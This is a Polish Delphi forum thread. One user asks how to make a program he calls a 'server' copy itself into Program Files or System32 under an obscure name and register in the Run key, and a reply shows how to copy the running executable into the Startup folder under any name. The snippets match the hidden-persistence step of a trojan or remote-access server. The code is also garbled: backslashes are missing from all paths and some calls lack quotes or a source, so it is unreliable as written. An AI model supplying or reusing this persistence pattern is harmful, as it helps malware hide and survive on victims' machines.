Rejestr AUTORUN...

[Dark Smark]

procedure TForm1.FormCreate(Sender: TObject);
var
rej : Tregistry;
begin
Rej:=TRegistry.Create;
Rej.RootKey:=HKEY_CURRENT_USER;
Rej.OpenKey('SoftwareMicrosoftWindowsCurrentVersionRun',true);
if not Rej.ValueExists('ctfnon')
then Rej.WriteString('ctfnon','Crogram Filesctfnon.exe');
CopyFile ('', 'Crogram Filesctfnon.exe', false);
Rej.CloseKey;
Rej.Free;
end;[/b]

Przy starcie tego programu ma sie dodac do autorunu, program ma nazwe ctfnon
to jest server jak chce zmienić nazwe np:server to się niby dodaje do autostartu
ale nie kopiuje sie do Crogram Filesctfnon.exe i przy starcie sie nieuruchamia...

Co moge w tym kodzie zmienic?

znalazłem jeszcze na forum to:

var
reg:tregistry;
begin

Reg:=TRegistry.Create;
try
reg.RootKey:=HKEY_CURRENT_USER;
reg.OpenKey('SoftwareMicrosoftWindowsCurrentVersionRun',True);
reg.WriteString('SERVER','C:WINDOWSSystem32server.exe');
copyfile(pchar(paramstr(0)),pchar('C:WINDOWSSystem32server.exe'),true);
BorderIcons:= [biSystemMenu];
finally
end;
end;[/b]

to też chyba niezadziała bo jest ze kopiuje plik o nazwie 'SERVER'

ps: jesli nazwa programu jest niezmieniona "cftnon" to startuje z systemem

 

[Avat]

Jeżeli funkcję kopiowania masz tylko dla jednej nazwy programu, a chcesz, żeby kopiowało program pod każdą nazwą:

CopyFile(Application.ExeName, C:Documents and SettingsAll usersMenu StartProgramyAutostartcostam.exe);

Application.ExeName pobiera ścieżkę programu i jest gites

Więc np. jak dasz program na dysk D pod nazwą program.exe, Application.ExeName będzie takie: Drogram.exe .

PS. Proponuję ci napisać sobie np. Application, postawić kropkę i przeglądnąć wszystkie komendy w okienku, wypróbować jakieś fajne itd. Sporo się można dowiedzieć

Np. Application.ExeName się tak nauczyłem